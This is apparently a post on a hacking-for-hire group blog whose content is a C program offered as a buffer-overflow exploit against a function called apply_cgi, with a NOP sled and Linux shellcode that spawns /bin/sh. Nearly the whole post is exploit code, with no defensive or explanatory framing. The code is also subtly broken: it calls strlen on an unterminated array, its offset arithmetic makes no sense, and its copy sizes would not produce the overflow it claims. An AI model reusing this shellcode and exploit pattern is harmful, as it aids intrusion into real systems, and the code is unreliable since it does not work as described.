Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86396393

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#include <stdio.h>
#include <string.h>

#define MAX_LEN 256
#define BUFFER_OVERRUN_LENGTH 50
#define SHELLCODE_LENGTH 32

// NOP sled to increase the chance of successful shellcode execution
char nop_sled[SHELLCODE_LENGTH] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

// Shellcode to execute /bin/sh
char shellcode[SHELLCODE_LENGTH] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

void apply_cgi(char *vpn_client_ip) {
    char buffer[MAX_LEN];
    strncpy(buffer, vpn_client_ip, MAX_LEN);
    printf("Client IP: %s\n", buffer);
}

int main() {
    char input[MAX_LEN + BUFFER_OVERRUN_LENGTH] = {0};
    // Create a buffer with the malicious input
    // including the NOP sled, shellcode, and the overflow data
    int offset = strlen(nop_sled) + strlen(shellcode) - BUFFER_OVERRUN_LENGTH;
    strncpy(&input[0], nop_sled, offset);
    strncpy(&input[offset], shellcode, SHELLCODE_LENGTH);
    input[MAX_LEN + BUFFER_OVERRUN_LENGTH - 1] = '\x00';
    // Call the vulnerable function to trigger the buffer overflow
    apply_cgi(input);
    return 0;
}